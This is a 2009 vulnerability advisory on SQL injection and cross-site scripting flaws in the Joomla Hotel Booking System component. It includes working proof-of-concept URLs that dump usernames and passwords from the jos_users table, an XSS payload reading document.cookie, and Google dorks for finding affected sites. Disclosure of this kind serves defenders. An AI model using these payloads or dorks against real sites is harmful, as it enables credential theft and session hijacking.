Joomla Hotel Booking System XSS/SQL Injection Multiple Vulnerabilities

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Joomla Hotel Booking System XSS/SQL Injection Multiple Vulnerabilities
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[ECHO_ADV_111$2009] Joomla Hotel Booking System Component XSS/SQL Injection Multiple Vulnerability
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Author       : K-159
Date         : September, 11 th 2009
Location     : Jakarta, Indonesia
Critical Lvl : Moderate
Impact       : Exposure of sensitive information
Where        : From Remote
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Affected software description:
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Application : Joomla Hotel Booking System
version     : Hotel Booking System Package I,II,III
Vendor      : http://www.joomlahbs.com
Description :

Joomla HBS (Joomla Hotel Booking System) was designed to simplify the task of online booking in Joomla Content Management Website. 
It provides users a unique, intuitive and easy to use interface that improves the way people use the web today.
Joomla Hotel Booking System (Joomla HBS) enhances the entire Hotel Booking web experience in Joomla!. 
Its Flexible, Simple, Elegant, Customizable and Powerful. Joomla HBS Easy to install, simple to manage and reliable.

Joomla Hotel Booking / Reservation System to be used together with a Content Management System (CMS) called Joomla!.
Joomla and Joomla HBS are written in PHP and made for easy use in a PHP / MySQL environment.

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Vulnerability:
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I.SQL injection

1). Input passed via the "h_id" & "id" parameter in longDesc.php are not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.HBS Package III only

1). Input passed via the "rid" parameter in longDesc.php is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.HBS Package I,II only.

2). Input passed via the "h_id" parameter in detail.php, detail1.php, detail2.php, detail3.php, detail4.php, detail5.php, detail6.php, detail7.php,
& detail8.php is not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
HBS Package I,II,III.

Poc/Exploit:
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http://www.example.com/components/com_hbssearch/longDesc.php?h_id=1&id=-2%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/longDesc.php?h_id=-1%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--&id=2
http://www.example.com/components/com_hbssearch/longDesc.php?hid=5&rid=-32%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail.php?h_id=-5%20union%20select%201,2,3,4,5,6,7,concat%28username,0x3a,password%29,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail1.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail2.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail3.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail4.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail5.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail6.php?h_id=-5%20union%20select%20concat%28username,0x3a,password%29%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail7.php?h_id=-1%20union%20select%201,2,3,concat%28username,0x3a,password%29,5%20from%20jos_users--
http://www.example.com/components/com_hbssearch/detail8.php?h_id=-5%20union%20select%201,concat%28username,0x3a,password%29,3,4%20from%20jos_users--


II.Xss/Cross Site Scripting

Input passed via the "adult" parameter in index.php when option set to com_hbssearch & task set to showhoteldetails is not properly sanitised before being used
This can be exploited to insert arbitrary HTML or javascript in a user's browser.an attacker can use this vulnerability to stole cookies or sessionid from users
in context of an affected site.

PoC/Exploit :
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http://www.example.com/index.php?option=com_hbssearch&task=showhoteldetails&id=118&adult=2<script>alert(document.cookie);</script>&child=0&r_type=1&chkin=2009-09-15&chkout=2009-09-16&datedif=1&str_day=Tue&end_day=Wed&start_day=Tue&star=


Dork:
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Google : "option=com_tophotelmodule","option=com_lowcosthotels","option=com_allhotels","option=com_5starhotels","option=com_hbssearch"


Solution:
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- N/A.

Timeline:
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- 31 - 08 - 2009 bug found
- 03 - 09 - 2009 vendor contacted and response
- 11 - 09 - 2009 advisory release

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